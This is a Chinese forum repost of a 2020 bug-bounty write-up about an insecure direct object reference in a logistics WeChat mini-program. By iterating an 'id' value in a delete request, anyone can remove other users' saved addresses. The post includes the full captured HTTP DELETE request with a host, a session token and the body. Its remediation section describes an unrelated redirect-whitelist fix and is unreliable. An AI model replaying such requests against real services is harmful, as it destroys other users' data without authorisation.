搜索

[2120] 2020-08-14_某物流小程序存在任意地址删除漏洞

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2020-08-14_某物流小程序存在任意地址删除漏洞 某 物 流 小 程 序 存 在 任 意 地 址 删 除 漏 洞 原 创   无 剧   E D I 安 全   2 0 2 0 - 0 8 - 1 4 收 录 于 话 题   # 白 帽 之 旅   , 3 1 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 项 目 名 称 某 物 流 小 程 序 0 2 漏 洞 标 题 【 6 1 8 众 测 】 某 物 流 小 程 序 存 在 任 意 地 址 删 除 漏 洞 0 3 漏 洞 类 型 逻 辑 漏 洞 0 4 漏 洞 级 别 高 危 0 5 漏 洞 描 述 某 物 流 小 程 序 — 我 的 — 我 的 常 用 地 址 — 随 便 编 辑 一 个 地 址 ， 然 后 点 击 删 除 操 作 ， 抓 包 ， 遍 历 i d 参 数 即 可 实 现 删 除 任 意 用 户 端 的 地 址 。 0 6 漏 洞 U R L h t t p s : / / x x x p l a t f o r m . x x . c o m / s e n d A d d r e s s / d e l e t e P O S T 数 据 ： { " i d " : " 9 0 9 9 " } 0 7 复 现 步 骤 第 一 步 ： 打 开 小 程 序 - 我 的 - 我 的 常 用 地 址 处 第 二 步 ： 随 便 进 入 某 一 个 地 址 ， 然 后 点 击 删 除 该 地 址 操 作 ， 抓 包
遍 历 此 i d 的 值 可 以 删 除 任 意 用 户 的 地 址 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 8 修 复 方 案 1 .   服 务 端 没 有 对 客 户 端 传 递 的 跳 转 地 址 进 行 合 法 性 校 验 2 .   服 务 端 配 置 跳 转 白 名 单 或 域 名 白 名 单 ， 只 对 合 法 的   U R L   做 跳 转 P S ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 扫 码 关 注 我 们 扫 码 关 注 我 们                     长 按 二 维 码 关 注 E D I 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 D E L E T E   / s e n d A d d r e s s / d e l e t e   H T T P / 1 . 1 H o s t :   p o p u l a r i z e - p l a t f o r m . d a n n i a o . c o m C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   1 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( L i n u x ;   A n d r o i d   5 . 1 . 1 ;   v i v o   X 7 P l u s   B u i l d / L M Y 4 7 V )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   V e r s i o n / 4 . 0   C h r o m e / 3 9 . 0 . 0 . 0   M o b i l e   S a f a r i / 5 3 7 . 3 6   M i c r o M e s s e n g e r / 7 . 0 . 1 3 . 1 6 4 0 ( 0 x 2 7 0 0 0 D 3 5 )   P r o c e s s / a p p b r a n d 0   N e t T y p e / W I F I   L a n g u a g e / z h _ C N   A B I / a r m 6 4   W e C h a t / a r m 6 4 c h a r s e t :   u t f - 8 t o k e n :   e y J 0 e X A i O i J K V 1 Q i L C J h b G c i O i J I U z I 1 N i J 9 . e y J z Z X N z a W 9 u S 2 V 5 I j o i K 2 x n c 2 V q R 1 d T d U 9 N d 3 Q 2 b 1 F r T 0 p W U T 0 9 I i w i a n d 0 L W l k I j o i N D Q 1 Y T M 0 Z W E t Z D E y O S 0 0 Y j B j L W I 4 O W U t M T A 5 N G I x O T N l Y j A x I i w i b 3 B l b k l k I j o i b 0 p F V U M 1 Z D V 2 c H F 3 Y m V W N 1 U 2 a z h z Y j J R c H F J Z y I s I m V 4 c C I 6 M T U 4 O D c 1 O D g x M n 0 . v V M - W 5 K E j K F C u Y e 4 R L Q L E T a B T v 1 s z t k P 0 q U M a E c _ w o 4 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e c o n t e n t - t y p e :   a p p l i c a t i o n / j s o n R e f e r e r :   h t t p s : / / s e r v i c e w e c h a t . c o m / w x e 2 8 c 2 3 8 e f a 9 0 8 9 3 1 / 1 4 / p a g e - f r a m e . h t m l { " i d " : " 9 0 9 9 " }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理